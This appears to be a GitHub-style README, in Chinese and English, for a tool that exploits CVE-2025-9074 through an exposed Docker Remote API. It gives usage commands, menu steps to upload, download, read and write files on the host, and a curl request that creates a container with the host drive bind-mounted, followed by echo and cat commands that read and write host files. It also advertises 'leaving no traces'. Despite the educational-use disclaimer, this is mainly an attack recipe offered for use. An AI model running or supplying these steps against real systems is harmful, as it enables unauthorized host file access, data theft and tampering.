
一个功能强大的 Docker 远程 API 漏洞利用工具,用于 CVE-2025-9074 漏洞的安全研究和测试。
A powerful Docker remote API exploitation tool for security research and testing of CVE-2025-9074 vulnerability.
✅ Fully automated container lifecycle management: Automatically creates temporary containers, cleans up after operations, leaving no traces
✅ Smart path handling: Automatically recognizes and converts Windows paths to Docker mount format
✅ Fully automated workflow: No need to manually input complex commands; menu-based interaction; one-click file operations
✅ Cross-platform compatibility: Fully supports Windows and Linux systems
Container Operations
Image Management
Host File Operations
CVE-2025-9074 is a security vulnerability in the Docker Remote API. An attacker can exploit it by gaining unauthorized access to the Docker API to:
Install all dependencies using requirements.txt:
pip install -r requirements.txt
Or manually install:
pip install requests docker websocket-client
Run the script directly using the default Docker API address:
python CVE-2025-9074-docker-exploit.py
python CVE-2025-9074-docker-exploit.py -u http://192.168.1.100:2375
python CVE-2025-9074-docker-exploit.py [options]
Options:
-u, --url URL Docker API address (default: http://192.168.65.7:2375)
1. Upload file to host
Enter local file path: /path/to/local/file.txt
Enter host destination directory: D:/temp
Enter destination filename (leave blank to keep original):
2. Download file from host
Enter host file path: D:/temp/file.txt
Enter local save path: /tmp
3. Read host file content
Enter host file path: D:/temp/file.txt
4. Write file to host
Enter host destination directory: D:/temp
Enter file content: Hello, World!
This tool automatically handles Windows Docker Desktop path mapping:
| Windows Path |
|---|
Supported input formats:
D:\ or D:/D:\temp or D:/temp"D:\file.txt" (with quotes)'D:/file.txt' (with quotes)⚠️ Important Notice:
Create a container via Docker API and mount the host disk:
curl -X POST "http://<target>:2375/containers/create" \
-H "Content-Type: application/json" \
-d '{
"Image": "python:3.11.7",
"Cmd": ["sleep", "999d"],
"HostConfig": {
"Binds": ["/mnt/host/d:/tmp"]
},
"Tty": true
}'
Read and write host files by executing commands in the container:
# Write file
echo "content" > /tmp/file.txt
# Read file
cat /tmp/file.txt
pip install docker websocket-clientpython CVE-2025-9074-docker-exploit.py
CVE-2025-9074-docker-exploit.py
├── Container management functions
│ ├── get_containers()
│ ├── display_containers()
│ ├── create_container()
│ ├── stop_container()
│ └── delete_container()
├── Image management functions
│ ├── get_images()
│ ├── display_images()
│ ├── pull_image()
│ └── remove_image()
├── Host file operation functions
│ ├── upload_file_to_host()
│ ├── download_file_from_host()
│ ├── read_file_from_host()
│ └── write_file_to_host()
└── Utility functions
├── normalize_host_path()
├── create_container_with_mount()
├── start_container()
└── stop_and_remove_container()
Welcome to submit Issues and Pull Requests!
This project is for educational and security research purposes only.
This tool is intended solely for authorized security testing and educational purposes. Users bear all responsibility and risk associated with using this tool. The author is not liable for any misuse or unauthorized use of this tool.
| Docker Mount Path |
|---|
D:\ | /mnt/host/d |
D:\temp | /mnt/host/d/temp |
C:\Windows | /mnt/host/c/Windows |
C:\Users\test | /mnt/host/c/Users/test |